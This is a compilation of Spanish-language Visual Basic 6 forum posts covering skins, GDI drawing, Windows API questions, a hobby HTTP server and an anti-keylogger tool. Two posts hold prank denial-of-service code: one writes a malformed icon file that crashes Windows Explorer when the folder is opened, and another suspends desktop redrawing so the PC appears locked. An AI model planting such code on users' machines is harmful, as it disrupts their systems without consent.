Temas

Buenas este es un modulo clase para aplicar Skin a nuestros formularios, anteriormente habia hecho algo similar pero tenia ciertas limitaciones, bien en esta versión se corrige esos problemas. en el link tambien esta el Editor para poder crear sus propios skin, yo por el momento pude crear estos 16.

Descargar

Hola este es un pequeño fuente para crashear el explorer,no es nada del otro mundo, creo que esto es algo viejo pero tenia entendido con con SP3 no funcionaba,bueno a ami porlomenso me casca el explorer y tengo SP3.

Código [Seleccionar] Expandir


Option Explicit
Dim Arr(62) As Byte

Private Sub Form_Load()

Arr(2) = 1: Arr(4) = 1: Arr(12) = 32: Arr(14) = 40
Arr(18) = 22: Arr(22) = 40: Arr(34) = 1: Arr(36) = 32

Open "C:\caca.ico" For Binary As #1
    Put #1, , Arr
Close #1

End Sub


al ejecutarlo despues cuando abran la carpeta en disco C:\ explota el explorer

lo que hace crea una falsa imagen (en este caso es .ico pero puede ser cualquier otro formato) y inserta unos bits que probocan un error en el explorer al intentar obtener los datos de esta.

Para eliminar esta imagen, Ejecutar > CMD > Del C:\caca.ico


Saludos

a por las dudas el codigo es en Visual Basic

aca un ejemplo comprimido de la imagen

la vajan y la descomprimen

Hola disculpen si esta pregunta no corresponde a esta parte del foro, pero no se bien que si es de xml o no.

tengo que interpretar los siguiente para poder separar en items la siguentes lineas
bien mi duda es esto es XML o es exprecion regular?

caso 1

Código [Seleccionar] Expandir

["casa",["Casa","CASA","Casa (desambiguacion)","Casa (desambiguaci\u00f3n)","Casa (linaje)","CASA 101","CASA 2.111","CASA 207 Azor","CASA 2111","CASA 212"]]

caso 2

Código [Seleccionar] Expandir

window.google.ac.h(["casa",[["casa del libro","2.280.000 resultados","0"],["casas","107.000.000 resultados","1"],["casas rurales","8.810.000 resultados","2"],["casas prefabricadas","831.000 resultados","3"],
["casa blanca","20.500.000 resultados","4"],["casas de madera","1.300.000 resultados","5"],["casas en venta","5.470.000 resultados","6"],["casa royal","3.330.000 resultados","7"],["casas ara","12.800.000 resultados","8"],["casa rural","6.080.000 resultados","9"]]])

caso 3

Código [Seleccionar] Expandir

["casa",["casablanca","casanova","casa impian","casa grande","casa del mar","casa loma","casa de campo","casa bonita","casa 106.7","casa manana"],[],[]]


Saludos

Hola bueno, ya anteriormente se había puesto este código con algunas modificaciones de ░▒▓BlackZeroҖ▓▒░ usando MCI  pero bien, a mi tampoco me estaba funcionando bien, ya que no se ocultaba la ventana del video, así que decidí hacerlo sobre un formulario creo que debería andar bien, además le puse un ícono junto al reloj para poder Cargar una pelicula, Play, Stop, Silencio y Salir, y bien al salir restablece el fondo de pantalla.

Está lindo para cargar algún video de un acuario o paisaje para animar el escritorio, no pongo capturas porque no se puede.

Descargar Codigo

Saludos

Bueno Edito viejo post porque le hice unas reformas al proyecto de autocompletar, ahora cuenta con cuatro buscadores Google, Yahoo, Youtube y Wikipedia.
como comente anteriormente, lo que hace este modulo es autocompletar a un textbox con las sugencias de estos buscadores



Descargar codigo

Hola estas es una funcion para poder pintar un Hdc con una imagen en forma repetitiva, pero partiendo de otro hdc, creo que no exite un api que directamente haga esto, ya que utilizando CreatePatternBrush lo hace desde un bmp, bueno no se si les pueda servir pero en fin es mucho mas rapido que usar bucles, como veran en el siguiente ejemplo pueden compara la funcion "Pintar" con  "FillRectEx"

Código [Seleccionar] Expandir

Option Explicit
'Function: FillRectEx
'Autor Leandro Ascierto
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function CreateCompatibleBitmap Lib "gdi32" (ByVal hdc As Long, ByVal nWidth As Long, ByVal nHeight As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hdc As Long) As Long
Private Declare Function DeleteObject Lib "gdi32.dll" (ByVal hObject As Long) As Long
Private Declare Function CreatePatternBrush Lib "gdi32.dll" (ByVal hBitmap As Long) As Long
Private Declare Function FillRect Lib "user32" (ByVal hdc As Long, lpRect As RECT, ByVal hBrush As Long) As Long
Private Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long

Private Type RECT
        Left As Long
        Top As Long
        Right As Long
        Bottom As Long
End Type

Private Declare Function GetTickCount& Lib "kernel32" ()

Private Sub Pintar()
Dim x As Long
Dim y As Long

Do While y < Me.ScaleHeight
    Do While x < Me.ScaleWidth
        BitBlt Me.hdc, x, y, Picture1.ScaleWidth, Picture1.ScaleHeight, Picture1.hdc, 0, 0, vbSrcCopy
        x = x + Picture1.ScaleWidth
    Loop
    y = y + Picture1.ScaleHeight
    x = 0
Loop

End Sub

Private Sub Form_Load()
Me.Show
DoEvents
Me.ScaleMode = vbPixels
Picture1.ScaleMode = vbPixels
Picture1.AutoRedraw = True
Form_Resize
End Sub

Private Sub Form_Resize()
Dim i As Integer
Dim lTime As Long

'lTime = GetTickCount&
'For i = 0 To 100
    FillRectEx Me.hdc, 0, 0, Me.ScaleWidth, Me.ScaleHeight, Picture1.hdc, 0, 0, Picture1.ScaleWidth, Picture1.ScaleHeight
    'call Pintar
'Next

'Debug.Print GetTickCount& - lTime
End Sub


Private Sub FillRectEx(DestDC As Long, DestX As Long, DestY As Long, DestWidth As Long, DestHeight As Long, SrcDC As Long, SrcX As Long, SrcY As Long, SrcWidth As Long, SrcHeight As Long)
        Dim DC As Long
        Dim hDCMemory As Long
        Dim hBmp As Long
        Dim mBrush As Long
        Dim Rec As RECT

        DC = GetDC(0)
        hDCMemory = CreateCompatibleDC(0)
        hBmp = CreateCompatibleBitmap(DC, SrcWidth, SrcHeight)
        Call SelectObject(hDCMemory, hBmp)
        BitBlt hDCMemory, 0, 0, SrcWidth, SrcHeight, SrcDC, SrcX, SrcY, vbSrcCopy
        mBrush = CreatePatternBrush(hBmp)
        SetRect Rec, DestX, DestY, DestWidth + DestX, DestHeight + DestY
        FillRect DestDC, Rec, mBrush
       
        DeleteObject mBrush
        DeleteObject hBmp
        DeleteDC DC
        DeleteDC hDCMemory
End Sub


Saludos

hola encontre esta api en la msdn y como no esta en el apiguide ni en el apiviewer la pongo aca esta  buena es parecido al taskkill de windows

Esta es para Dessa que hace rato buscabamos algo asi.

Código [Seleccionar] Expandir


Option Explicit
Private Declare Function EndTask Lib "user32.dll" (ByVal hwnd As Long, ByVal fShutDown As Long, ByVal fForce As Long) As Long

Private Sub Command1_Click()
EndTask Me.hwnd, 0, 0
End Sub


para mas info.
http://msdn.microsoft.com/en-us/library/ms633492.aspx

hola una boludes pero te bloquea toda la pc hasta tener que reiniciar si es que no se lo deshabilita

agregar un timer1

Código [Seleccionar] Expandir


Option Explicit
Private Const WM_SETREDRAW As Long = &HB
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
Private Declare Function GetDesktopWindow Lib "user32.dll" () As Long

Private Sub Form_Load()
Timer1.Interval = 5000
SendMessage GetDesktopWindow, WM_SETREDRAW, 0, ByVal 0
End Sub

Private Sub Timer1_Timer()
    SendMessage GetDesktopWindow, WM_SETREDRAW, 1, ByVal 0
End Sub


Hola estas son dos apis algo desconocidas, al menos para mi , y me llamaron mucho la atencion

nos evitan de utilizar un sublcass, ya que usa un bucle interceptando el msg buscado. ademas este bucle no consume el CPU.

pongo un ejemplito bien basico para interceptar la rueda del raton.

Código [Seleccionar] Expandir


Option Explicit

Private Const PM_REMOVE = &H1

Private Type POINTAPI
        x As Long
        y As Long
End Type

Private Type Msg
    hwnd As Long
    Message As Long
    wParam As Long
    lParam As Long
    time As Long
    pt As POINTAPI
End Type

Private Declare Function PeekMessage Lib "user32" Alias "PeekMessageA" (lpMsg As Msg, ByVal hwnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long, ByVal wRemoveMsg As Long) As Long
Private Declare Function WaitMessage Lib "user32" () As Long
Private bCancel As Boolean

Private Const WM_MOUSEWHEEL = 522

Private Sub ProcessMessages()
Dim Message As Msg
Do While bCancel = False
    WaitMessage
    If PeekMessage(Message, Me.hwnd, WM_MOUSEWHEEL, WM_MOUSEWHEEL, PM_REMOVE) Then
         If Message.wParam < 0 Then
            Debug.Print "Scroll Down"
        Else
            Debug.Print "Scroll Up"
        End If
    End If
    DoEvents
    Loop
End Sub

Private Sub Form_Load()
Me.Show
ProcessMessages
End Sub

Private Sub Form_Unload(Cancel As Integer)
    bCancel = True
End Sub


Hola, este es un modulo con una funcion para dibujar texto con un efecto espejado, solo tiene algunas opciones.



Descargar

Saludos

[LSet]

Buenas e visto en muchos codigos el uso de LSet (funcion de VB6)  para pasar Array o Extructuras pero no noto diferencia de usarlo o no , tampoco lo encuetro en el examinador de objetos.

por ejemplo

Public Type RECT
   Left As Long
   Top As Long
   Right As Long
   Bottom As Long
End Type

Dim Rec1(0 to 2) as RECT
Dim Rec2(0 to 2) as RECT

Rec1(0).left = 100

LSET  Rec2(1) = Rec1(0)

bien creo que ese puede ser un ejemplo, o acaso es algo similar al Call

Saludos

Buenas se trata de un usercontrol tal como el de visual que muestra las propiedades de los controles, esto trae como ventaja agrupar en un espacio reducido todas las propiedades que queramos.


Descargar

Nota:

• No tiene la posibilidad de eliminar items, solo un Clear general.
• No ordena alfabéticamente
• No ordena por grupos
• No doy fe que funcione fuera de NT

By Leandro Ascierto
Saludos

Buenas intento ordenar una matriz alfabeticamente a medida se se van agregando datos a esta, pero no me esta resultando, la idea seria....
(por ejemplo) si el dato ingresado es menor al tercer elemento
copie desde el tercer al final en la posicion 4 de la matriz y en la posicion numero 3 ponga los nuevos datos. pero sin tener que recorrer un bucle, sino mas bien utilzando CopyMemory para hacelerar la funcion.

se que podria poner dos bucles y ordenarlo de la forma tradicional pero esto se haria muy lento si ablamos de 10000 elementos

pongo un ejemplo de lo que intento hacer, pero bien no estoy haciendo buen uso de CopyMemory

Código [Seleccionar] Expandir

Option Explicit
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)

Private Type Datos
    Nombre As String
    Apellido As String
End Type

Dim dPersona() As Datos
Dim lCount As Long

Private Sub Command1_Click()
    AddList "bbb", "bbb"
    ImprimirListado
End Sub

Private Sub Form_Load()
    Me.Show
    ReDim dPersona(0)
   
    AddList "aaa", "aaa"
    AddList "bbb", "bbb"
    AddList "ccc", "ccc"
    AddList "ddd", "ddd"
    AddList "fff", "fff"
   
    ImprimirListado
End Sub

Private Sub ImprimirListado()
    Dim i As Long
    Cls
    For i = 0 To lCount
        Print dPersona(i).Nombre, dPersona(i).Apellido
    Next
End Sub

Private Sub AddList(Nombre As String, Apellido As String)
Dim i As Integer
Dim Ubicado As Boolean

lCount = UBound(dPersona)

If lCount = 0 Then
    dPersona(lCount).Nombre = Nombre
    dPersona(lCount).Apellido = Apellido
Else
    For i = 0 To lCount
        If Nombre < dPersona(i).Nombre Then
            'deberia copiar toda la matriz desde dPersona(i) a al siguiente dPersona(i + 1) todo el resto
            'de la extructura, pero no funciona :(
            CopyMemory ByVal dPersona(i + 1), ByVal dPersona(i), 8 * (lCount - i)
            'luego depositaria los nuevos datos en dPersona(i)
            dPersona(i).Nombre = Nombre
            dPersona(i).Apellido = Apellido
           
            Ubicado = True
            Exit For
        End If
    Next
   
    If Ubicado = False Then
        dPersona(lCount).Nombre = Nombre
        dPersona(lCount).Apellido = Apellido
    End If
End If

ReDim Preserve dPersona(lCount + 1)
End Sub


si alguien sabe como solucionar esto o conoce alguna otra forma se los agradezco
Saludos

Buenas, este es un Modulo Clase,  que hicimos con el_c0c0, Sirve para aplicar skin a nuestros formularios, el modulo SubClasifica el o los formularios y repinta sus bordes y barra de menus.



Descargar

Saludos

buenas estoy intentado averiguar si es que hay un menú desplegado cual es osea...

tengo un form sublcasificado y tengo 3 menú
_________________________
Archivo | Edición | Ayuda
     _________________
     |----------------------|
     |----------------------|
     |----------------------|
     |----------------------|
     |----------------------|
     |________________|


y el menú Edición esta desplegado como puedo saber si el menú que esta desplegado es el de edición.

Saludos

[compilan]

Buenas esta es una simple funcion para agregar un progreso indefinido a las barra de progreso tal como lo hacen muchos programas o cuando se ejecuta una busqueda en el disco

una imagen de ejemplo



agregar un progressbar1 (de la version Common Controls 5)

Código [Seleccionar] Expandir


Option Explicit
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SendMessageLong Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Const GWL_STYLE = (-16)
Private Const WM_USER           As Long = &H400
Private Const PBS_MARQUEE       As Long = 8
Private Const PBM_SETMARQUEE = (WM_USER + 10)


Private Sub Form_Load()
    Dim Ret As Long
    Ret = SetStyleMarquee(ProgressBar1.hwnd, 50)
    If Ret = False Then
        MsgBox "No se pudo aplicar el estilo"
    End If
End Sub


Public Function SetStyleMarquee(hwnd As Long, Velocity As Long) As Boolean
    SetWindowLong hwnd, GWL_STYLE, GetWindowLong(hwnd, GWL_STYLE) Or PBS_MARQUEE
    SetStyleMarquee = SendMessageLong(hwnd, PBM_SETMARQUEE, 1, Velocity)
End Function


Lo compilan y agregan un archivo Proyecto1.exe.manifest junto al ejecutable, sino no funciona.

Me han dicho que con algunos themes de windows no funciona. aver que les pasa a ustedes.

[CDO]

Buenas otro producto del aburrimiento, se trata de un proyecto para enviar mails con formato Html, y adjuntos , utiliza "CDO" así que si bien esto funciona desde windows 2000 y posteriores. Para poder enviar los mails nesesita configurarlo. por lo que deben tener una cuenta de mail con SMTP (Gmail, Yahoo etc.)  "Hotmail NO" a hotmail solo se pueden enviar los mails, bien el mas practico es gmail ya que no nesesita configurarlo. encambio con yahoo ya deberán configurarlo desde la pagina de yahoo (cosa que no voy a explicar).
Cuenta con dos Skin y tiene las opciones Basicas de un editor, se podria  aver echo si tantas boludeces pero bueno tenia ganas de usar lo que habia echo.

Supongo que si tiene IE7 no lo podrán ejecutar desde el IDE de visual. pero si el ejecutable. o bien si saben como se soluciona ese problema con el Webbrowser y el IE7.

Bueno la idea es que si encuentran errores los reporten aca. Gracias




Descargar

buenas tengo una duda que hace tiempo me viene acosando
Como puedo mostrar texto en columna dentro de un textbox,

muestro un ejemplo

Código [Seleccionar] Expandir


Dim sResult As String

Private Sub Form_Load()
    Me.AutoRedraw = True

    AddData "Rosario", "2.80", "Estacional"
    AddData "Santa Fe", "3.13", "Crece"
    AddData "Corrientes", "4.22", "Baja"
    AddData "Formosa", "4.44", "Crece"
    AddData "Posadas", "5.30", "Baja"
    AddData "Iguazú", "13.50", "Crece"
    AddData "Andresito", "0.82", "Baja"
    AddData "Villa Constitución", "2.35", "Crece"
   
   
   
    Debug.Print sResult
    Me.Print sResult
   
End Sub

Private Sub AddData(D1 As String, D2 As String, D3 As String)
    sResult = sResult & Tabular(D1, 25) & Tabular(D2, 6, True) & Space(10) & Tabular(D3, 10) & vbCrLf
End Sub

'Private Sub AddData(D1 As String, D2 As String, D3 As String)
'    sResult = sResult & D1 & vbTab & vbTab & D2 & vbTab & D3 & vbCrLf
'End Sub


Private Function Tabular(Palabra As String, Espacio As Long, Optional AlignRight As Boolean) As String
    If AlignRight Then
        Tabular = Space(Espacio - Len(Palabra)) & Palabra
    Else
        Tabular = Palabra & Space(Espacio - Len(Palabra))
    End If
End Function


bien si prueban el ejemplo veran que en la ventana de inmediato se muestra correctamente pero al mostrar estos datos en un textbox o con la funcion me.print se desalinean.
si uso la segunda funcion  AddData (La que esta comentada) pues bien surge un problema con respecto al ultimo items (Villa Constitución) ya que este es mas largo que los superiores o en el primer items que al ser muy corto la tabulacion no se nota, entonces como se cuando deberia aplicar un doble o triple tab o ninguno?

Saludos

Buenas esta es un modulo clase para poder agregar Iconos a los botones, y mantener los temas de xp presnete, bien anteriormente habia echo algo parecido pero era una currada, creo que esto es la forma correcta. porlomenos estando presente los temas de xp , por si esto no fuera asi, hay una subrutina no muy precaria para mostrar la imagen y el texto (no esta 100% completa) pero si alguien la nesesita se puede mejorar.



Boton con Imagen.zip - Descarga

me gustaria si alguien tiene win 98 o win Vista y lo puede testear, para saber si da error.

Buenas alguien conoce alguna herramienta para poder  armar .Res y poder poner iconos de 32bits , yo tengo el  "XN Resource" y el "ResHack" pero ninguno me funciona o soporta, o bien no estoy hacindo bien las cosas.

Saludos

Hola este es un ejemplo para pode utilizar el Api Google Char desde visual, bien esto puede ser utili en muy pocos caso, cuando tengamos conexion a internet y las consultas no sea muy frecuentes, asi que bien cada uno sabra si le puede dar utilidad.

Aca pueden encontrar toda la informacion de como utilizar esta api
http://code.google.com/apis/chart/


agregar Cuatro Botones, un Picture1,  y un HScroll1

Código [Seleccionar] Expandir


Option Explicit
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function GdipCreateFromHDC Lib "gdiplus" (ByVal HDC As Long, graphics As Long) As Long
Private Declare Function GdipDisposeImage Lib "gdiplus" (ByVal image As Long) As Long
Private Declare Function GdipDrawImageRectRectI Lib "gdiplus" (ByVal graphics As Long, ByVal image As Long, ByVal dstx As Long, ByVal dsty As Long, ByVal dstwidth As Long, ByVal dstheight As Long, ByVal srcx As Long, ByVal srcy As Long, ByVal srcwidth As Long, ByVal srcheight As Long, ByVal srcUnit As Long, ByVal imageAttributes As Long, Optional ByVal callback As Long = 0, Optional ByVal callbackData As Long = 0) As Long
Private Declare Function GdipDeleteGraphics Lib "gdiplus" (ByVal graphics As Long) As Long
Private Declare Function GdipLoadImageFromFile Lib "gdiplus" (ByVal filename As String, ByRef image As Long) As Long
Private Declare Function GdiplusStartup Lib "gdiplus" (ByRef token As Long, inputbuf As Long, Optional ByVal outputbuf As Long = 0) As Long
Private Declare Sub GdiplusShutdown Lib "gdiplus" (ByVal token As Long)

Private Function RenderChar(ByVal HDC As Long, ByVal Param As String, ByVal X As Long, ByVal Y As Long, ByVal Width As Long, ByVal Height As Long) As Boolean
Dim hGraph As Long
Dim hImage As Long
Dim hGdiPlus As Long

If URLDownloadToFile(0, "http://chart.apis.google.com/chart?chs=" & Width & "x" & Height & "&" & Param, App.Path & "\Temp.png", 0, 0) = 0 Then

    GdiplusStartup hGdiPlus, 1
   
    If GdipCreateFromHDC(HDC, hGraph) = 0 Then

        If GdipLoadImageFromFile(StrConv(App.Path & "\Temp.png", vbUnicode), hImage) = 0 Then
       
            If GdipDrawImageRectRectI(hGraph, hImage, X, Y, Width, Height, 0, 0, Width, Height, &H2&, 0) = 0 Then
                RenderChar = True
            End If
           
        End If
       
        GdipDisposeImage hImage
       
    End If
   
    GdipDeleteGraphics hGraph
    GdiplusShutdown hGdiPlus
    Kill App.Path & "\Temp.png"
End If
End Function



Private Sub Command1_Click()
Dim Param As String
Param = "cht=p3&chd=t:80,40,30&chl=Sapallo|Lechuga|Tomate"
Debug.Print RenderChar(Picture1.HDC, Param, 0, 0, Picture1.ScaleWidth, Picture1.ScaleHeight)
End Sub

Private Sub Command2_Click()
Dim Param As String
Param = "cht=bhs&chco=ff0000,00ff00,0000ff,&chd=s:FOE,THE,Bar&chxt=x,y&chxl=1:|Dec|Nov|Oct|0:||20K||60K||100K|"
Debug.Print RenderChar(Picture1.HDC, Param, 0, 0, Picture1.ScaleWidth, Picture1.ScaleHeight)
End Sub

Private Sub Command3_Click()
Dim Param As String
Param = "cht=gom&chd=t:" & HScroll1.Value & "&chl=" & "Valor " & HScroll1.Value
Debug.Print RenderChar(Picture1.HDC, Param, 0, 0, Picture1.ScaleWidth, Picture1.ScaleHeight)
End Sub

Private Sub Command4_Click()
Dim Param As String
Param = "cht=v&chd=t:100,80,60,30,30,30,10&chco=00ff00,0000ff"
Debug.Print RenderChar(Picture1.HDC, Param, 0, 0, Picture1.ScaleWidth, Picture1.ScaleHeight)
End Sub

Private Sub Form_Load()
Picture1.ScaleMode = vbPixels
Picture1.Move 0, 0, 5500, 2500
HScroll1.Max = 100: HScroll1.Min = 1
End Sub


Saludos

buenas una duda que tengo como se limpia una extructura para poder dejarla default

osea

Código [Seleccionar] Expandir

Private Type ElementProperty
    Blond As Boolean
    Italic As Boolean
    Underline As Boolean
    FontFace As String
    FontSize As Integer
    Aling As String
End Type

Dim EP As ElementProperty

bien suponido que ya modifique a EP y quiero recetearlo yo podria poner

Código [Seleccionar] Expandir


EP.Aling = ""
EP.Blond = False
EP.FontFace = ""
EP.FontSize = 0
ETC.

o bien

Código [Seleccionar] Expandir

dim EmptyEP as   ElementProperty

EP =  EmptyEP

Pero se que hay forma mas elegante de hacer esto, creo que con un api se podia pero no recuerdo cual.

Saludos

Buenas, este es un modulo clase para cambiar el aspecto de los ToolBar tanto de la version CommonControls 6  como de la 5.
En el ejemplo puse 10 Skin de muestra, que tambien pueden crear los suyos. no pongo explicacion de como crearlos pero si miran el de Skin_XP.bmp un poco se daran cuenta.
no tiene niguna funcion extra excepto alinear el texto a la derecha para la version 5, lo demas es solo para cambiar el skin.




Bueno cualquier Bugs que vean notificarmelo. uno que puedo anticipar es que no pude hacer funcionar el Wrappable para la version 6, con lo demas creo que fui cuidadoso con las propiedades o en menos las mas comunes.

Saludos

PD: para las imagenes disabled si no tiene el imagelist correspondiente, tal como nos limita la version 5, este dibuja un icono disabled del mismo que lo hace el toolbar.

Buenas vengo utilizando una forma vastante fea para partir un archivo, y ahora me doy cuenta que si la configuracion local esta cambiada las cuentas me dan cualquier cosa,

Explico:

Código [Seleccionar] Expandir


Const Buffer = 4096

Private Sub Form_Load()
Dim LenFile As Long
Dim TotInteger As Long
Dim SegmentCount As Long
Dim LenRest As Long

LenFile = 3921
SegmentCount = Val(LenFile / Buffer)
TotInteger = SegmentCount * Buffer
LenRest = LenFile - TotInteger
Debug.Print SegmentCount, TotInteger, LenRest
End Sub


yo deseo saber cuanas veces entra LenFile en el Buffer lo que esto me da como resultado SegmentCount, y a su ves LenRest seria el resto de lo que no llego a completar el tamaño del Buffer

ejemplo

Código [Seleccionar] Expandir

si el archivo pesa 3921 SegmentCount = 0 y lenResto = 3921
si el archivo pesa 8192 SegmentCount = 2 y lenResto = 0
si el archivo pesa 8195 SegmentCount = 2 y lenResto = 3
si el archivo pesa 6000 SegmentCount = 1 y lenResto = 1904

como pueden notar estoy trabjando con numeros enteros

bien el ejemplo que puse por mas feo que sea funciona pero el tema es que si la configuracion local esta cambiada me tira cualquier resultados

por ejemplo

Código [Seleccionar] Expandir


Simbolo Decimal = .
Simbolo de separacion de miles = ,

correctamente en el debug deve mostrar esto
0             0             3921
incorrectamente si la configuracion esta cambiada me muestra esto
1             4096         -175

hay alguna forma elegante de hacer lo que quiero, pero sin tener que verificar la configuracion local

Saludos

Buenas, Este es un proyecto que sirve para no tipear con el teclado las contraseñas, osea una utilidad cuando pensamos que podemos estar infectado con un keylogger.

el proyecto hace lo siguiente, cuando el programa detecta que un campo de contraseña toma el foco, se muestra por debajo de este con un formulario en forma de teclado, tanto sea en una aplicación de windows como en una página de internet (con IExplorer)
entoces se le hace click a los botones correspondientes a la contraseña, y bien ésta es ingresada en la caja de texto, tambien cuenta con la posibilidad de almacenar contraseñas para un uso más directo.

Capturas



Descarga Aplicación + Codigo de fuente

AntiKeyLogger.zip - Descargar desde RapidShare

AntiKeyLogger.zip - Descargalo en UpSourceCode.com.ar




Nota:

• En paginas web solo funciona con IExplorer
• No funciona con el MsnMesenger o ventanas similares.
• Las contraseñas con acentos no creo que funcionen (pero bueno si alguno tiene ganas, se puede corregir)

Bueno creo que deberia funcionar bien, cualquier error o sugerencias hacermelo saber, si no es muy complicado se puede mejorar  o corregir. De todas formas creo que esto de mi parte llega hasta aca.

Agradecimientos:
Cobein, skullsp, seba123neo y Tughack

By: Leandro Ascierto.

[GetFocus]

Buenas alguien sabe con que api puedo obtener la ventana (ventana hija, control) que tiene el foco, pero no me refiero a una ventana padre sino a el control que tiene el foco

ya probe con:

GetFocus, pero este solo me devuelve el hwnd dentro de mi aplicacion, yo lo que quiero es saber dentro de todo windows cual es el hwnd que tiene el foco.

GetForegroundWindow me devuelve el hwnd de la ventana padre activa, por lo tanto no me sirve.

GetActiveWindow ni a palos

WindowFromPoint tampoco porque yo podria activar una ventana con el teclado

alguien conoce alguna forma?

Saludos

Buenas, dos aportes en uno, se trata un Usercontrol de tipo Panel Contenedor y Una Clase cDragMagnetic que sirve para mover contendedores de controles estilo Drag&Drop pero bueno con algunas opciones.



CDragMagnetic.zip - Descargalo en UpSourceCode.com.ar

No lo e testeado mucho si alguien encuentra algun error o idea para agregarle a la clase o al ursercontrol no dude en decirlo.

By Leandro Ascierto

Hola, casi terminando o empezando con este nuevo proyecto, se trata de un server de protocolo http, bien sinceramente funciona mejor de lo que me esperaba, ya que soporta multiconexiones y se la banca bastante bien.  Prodria decirse que seria una continuacion del Server - At pero bueno si algunas posibilidades de las que tenía este pero con muchas otras nuevas.
Entre ellas soporte para php (pero en forma limitada ya que no soporta PostData) y no pude solucionarlo.
Otra es su propio DirList de los directorios que no poseen index.htm ,index.html index.php.

Bueno lo más especial que podría decirse es poder crear un propio lenguaje en base a visual basic, o sea tal como lo hace php cuando ejecuta sus scrip, con este existe la posibilidad de crear una aplicación en vb e interacutar con el servidor (o sea quizás muchos digan qué pelotudes, bueno sí lo es), pero creo que puede ser de utilidad si se lo sabe usar, sobre todo si no saben de php y sí de visual basic.
cuenta con una dll (HttpResponce.dll) que es la encargada de unir el server con las aplicaciones.
Como van a ver en el ejemplo del proyecto las aplicaciones las ejecuta bajo las extensiones ".LIC" o sea si ustedes crean una aplicación.exe en la url del navegador deberá llamársela como "http://localhost/aplicacion.LIC" y el server ejecutará nuestras apliciones las cuales nos devolverán el código de fuente que entregará el server al cliente.

Bien la dll (HttpResponce.dll) cuenta con muchas funciones, las cuales son muy parecidas al lenguaje php, las cuales no voy a enumerar ahora pero en los ejemplos   las van a ver.

La invitación es para quienes quieran unirce al proyecto y  se animen a programar sus propias páginas en base a los ejemplos, y puedan compartirlas acá, por otro lado aporten nuevas ideas para ir implementando a la dll y el server, e ir mejorando este proyecto que esta a medio terminar.
La parte del guid esta pobre por ahora ya que es lo ultimo que tengo en mente mejorar, el codigo de la dll si alguien lo quiere lo subo.

Bueno si sigo escribiendo posiblemente no lean nada 


server_http.zip - Descargalo en UpSourceCode.com.ar

bien para terminar el funcionamiento es sencillo, ejecutan el server preciona el boton start server, y luego en su navegador escriben, http://localhost/ o http://127.0.0.1/ y les aparecera la pagina index.html con todos los ejemplos



PD:

Mis disculpas por los feos ejemplo ya que mis conocimientos de html y php son muy escasos.

hola hace tiempo vengo con este problema y no encuentro solucion. les explico masomenos, estoy haciendo una aplicacion cliente / servidor multiconexion con winsock, el problema es que cuando hago  mas de una conexion (maximo 2) al sever  deja de responder correctamente, por ejemplo un cliente se conecta entonces el server comienza a enviar una data, y en el evento sendcomplete envia otra data (esto un numero de veces) , bien con el primer cliente funciona, con el segundo(si no pongo un doevents, tambien) con el tercero hasta que no se desconecte uno de los dos primero no se cumple el evento sendcomplete y este bucle de envio se interrumpe. a mi parecer es un problema de threat, no se bien como lo haran los verdaderos servidores pero en fin con visual basic no encontre forma.
(tambien probe con la clase CSocketMaster.cls y es lo mismo)

En el ejemplo que voy a poner en el server no utilize el winsock.ocx interface sino que lo utilize como una clase objWinSock As MSWinsockLib.Winsock pero basicamente es lo mismo el problema es en ambos.

multiconexion.zip en UpSourceCode.com.ar

para provar ejecutan el server y despues un par de veces el cliente.exe y van a ver que la tercera ves no llegan los datos hasta cerrar uno de los dos primeros.

bien espero alguien sepa como puedo solucionar este problema de threat

Saludos

hola hay alguna forma mejor para llamar el menu del systema que no sea con TrackPopupMenuEx

Código [Seleccionar] Expandir

SetForegroundWindow hWnd
GetCursorPos PT
Ret = TrackPopupMenuEx(GetSystemMenu(hWnd, False), TPM_RETURNCMD , PT.x, PT.y, Me.hWnd, ByVal 0&)
SendMessage hWnd, WM_SYSCOMMAND, Ret, ByVal 0&



porque con algunas ventanas como la de firefox el menu no aparece y con el cmd me trae otros problemas


Saludos

[widget]

Hola aca les dejo una replica de yahoo!weather en visual basic hecho con la libreria widget, el zip quedo aglo pesado por las imagenes (189 kb), tambien hice algunas reformas en la libreria widget para las nesesidades que ivan surgiendo, les agregue una clase para ToolTips (a medio revisar), la escritrua en las imagenes, y algunas otras. en el proyecto use un modulo llamado GDIRender.bas por el motivo que la clase c32bppDIB.cls al estirar una imagen la suaviza (Difumina,Smoothing)  y en este caso nesesitaba que las estire de forma exacta, ademas es mas rapido ya que pasa por menos filtros.
     No utilize ningun on error resume next, para que cuando lo prueben ustedes podamos detectar algun error si es que lo hay y poder corregirlo.
Hay muchas cositas que estan feas (referidas al codigo) pero bueno ya un poco me habia cansado asi que las hice medio a las ligeras.



http://www.recursosvisualbasic.com.ar/ftp/leandro/Weather.zip

Acuerdense de registrar la CWL.dll que esta dentro de la carpeta Library


Saludos

